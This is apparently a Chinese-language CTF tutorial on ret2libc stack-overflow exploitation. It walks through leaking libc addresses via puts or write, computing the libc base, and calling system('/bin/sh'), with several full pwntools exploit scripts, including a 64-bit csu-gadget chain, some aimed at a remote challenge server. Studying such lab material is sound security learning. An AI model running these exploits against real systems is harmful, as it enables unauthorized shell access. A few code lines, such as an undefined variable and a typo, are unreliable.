ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system()
、execve()
这种系统级函数.
当程序开始运行时会加载系统库中的函数,通过函数返回地址直接指向系统库(libc.so.6
)中的函数,如system函数,从而执行例如system函数获得shell。
劫持binary执行system(/bin/sh)
一般有一个溢出点时,要进行两次劫持。
是为了泄露出某个函数的地址(需要构造两条件)
eip
指向,为第二次劫持做准备puts
和write
)和待泄露函数是为了控制binary返回到libc执行system(bin/sh)
使用ldd确认该程序所使用的本地libc库
泄露函数真实地址得到基地址
要使用output函数,如puts和write函数(该函数的特征必须为可以输出地址数据的函数)
puts
构造payload(泄露puts函数的地址)
puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
write
构造payload(泄露write函数的地址)
write_plt_addr =elf.plt['write']
write_got_addr =elf.got['write']
main_addr =elf.sym['main']
payload = "a"*60
payload += p32(write_plt_addr)+p32(main_addr)+p32(1) +p32(write_got_addr)+p32(4)
大概意思即为,使用puts或者write函数的plt地址来连接puts函数的got表地址,最后返回到main函数的地址
“a”*76 | p32(system_addr) | p32(0xdeadbeef) | p32(binsh_addr) |
---|---|---|---|
溢出字符 | 要使用的函数的地址 | 该payload的返回地址(一般都设置位main的地址) | /bin/sh的地址(要使用的函数的参数) |
最后发送该payload完成第一次溢出
sh.sendlineafter('pwned me!\n',payload)
libc_write_addr = l ibc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr
另外还需要注意几点:
利用基地址得到system和binsh的地址以拿到shell
利用上一步得到的基地址算出system和binsh的真实地址
利用这两个地址构造二次溢出的payload
最后发送payload即可完成溢出
按照上面思路即可
#-*- coding:utf-8
from pwn import *
sh = process("./nx")
context.log_level = 'debug'
context.terminal = ['tmux','splitw','h']
elf = ELF("./nx")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt = elf.plt["puts"]
main_addr = elf.symbols['main']
puts_got = elf.got['puts']
payload = "a"*76
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
print hex(puts_plt)
#gdb.attach(sh)
sh.sendlineafter("shellcode:\n",payload)
puts_real_addr = u32(sh.recv(4))
base_addr = puts_real_addr-libc.sym["puts"]
print "puts_got"
print hex(puts_real_addr)
print "libc_puts"
print hex(libc.sym['puts'])
print "base"
print hex(base_addr)
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh").next()
payload2 = 76*'a'
payload2 += p32(system_addr)
payload2 += p32(main_addr)
payload2 += p32(binsh_addr)
sh.sendlineafter("shellcode:\n",payload2)
sh.interactive()
#-*-coding:utf-8
from pwn import *
sh = process("./ez_ret2libc")
# sh = remote('120.79.17.251',10007)
elf = ELF("./ez_ret2libc")
#libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
puts_got_addr =elf.got['puts']
puts_plt_addr =elf.plt['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)
payload += p32(main_addr)
payload += p32(puts_got_addr)
sh.sendlineafter('choose:',"2")
sleep(1)
sh.sendlineafter('message:',payload)
puts = u32(sh.recv(4))
###到这里时,put是字符串,需要先转换
puts_addr = int(puts)
print type(puts_addr)
libc_puts_addr = int(libc.sym['puts'])
base_addr = puts_addr-libc_puts_addr
system_addr = base_addr+int(libc.sym['system'])
binsh_addr = base_addr+int(libc.search('/bin/sh').next())
max_payload = "a"*54
print "base"
print base_addr
print "system"
print system_addr
print "binsh"
print binsh_addr
max_payload += p32(system_addr)
max_payload += p32(main_addr)
max_payload += p32(binsh_addr)
sleep(1)
sh.sendlineafter("choose:","2")
sh.sendlineafter("message:",max_payload)
sh.interactive()
#-*-coding:utf-8
from pwn import *
#sh = process("./ret2libc_32")
sh = remote('120.79.17.251',10008)
elf = ELF("./ret2libc_32")
libc = ELF('/home/da1sy/Documents/tools/libc-database/db/libc6-i386_2.23-0ubuntu10_amd64.so')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
write_got_addr =elf.got['write']
write_plt_addr =elf.plt['write']
main_addr =elf.sym['main']
print "----------------"
print hex(main_addr)
print hex(write_got_addr)
print hex(write_plt_addr)
payload = "a"*60
payload += p32(write_plt_addr)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)
sh.sendlineafter('pwned me!\n',payload)
#print hex(u32(sh.recv(4)))
libc_write_addr = libc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr
system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next()
max_payload = "a"*52
print "base"
print hex(base_addr)
print "system"
print hex(system_addr)
print "binsh"
print hex(binsh_addr)
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr)
#gdb.attach(sh)
sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()
使用ROPgadget搜索该程序gadgets片段
确定该程序所使用的csu_gadgets
使用csu_gadgets泄露write函数地址
def csu(r12,r13,r14,r15,ret_addr):
payload = offset
payload += p64(gadgets1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)
payload += p64(r14)
payload += p64(r13)
payload += p64(gadgets2)
payload += "c"*56
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system']
确定system函数的真实地址后,这时只需要计算出libc中的binsh地址,便可以构造rop链的方式直接进行调用
payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)
#coding:utf-8
from pwn import *
sh = process('./ret2libc_64')
sh = remote('120.79.17.251',10010)
elf = ELF('./ret2libc_64')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('../../tools/libc-database/db/libc6_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
gadgets1 = 0x00000000004006B6
gadgets2 = 0x00000000004006A0
write_got = elf.got['write']
main_addr = elf.symbols['main']
offset = 'a'*168
def csu(r12,r13,r14,r15,ret_addr):
payload = offset
payload += p64(gadgets1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)
payload += p64(r14)
payload += p64(r13)
payload += p64(gadgets2)
payload += "c"*56
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system']
print "execve:",hex(execve_addr)
#gdb.attach(sh)
sh.recvuntil("Pwn Me?\n")
payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)
sh.sendline(payload)
sh.interactive()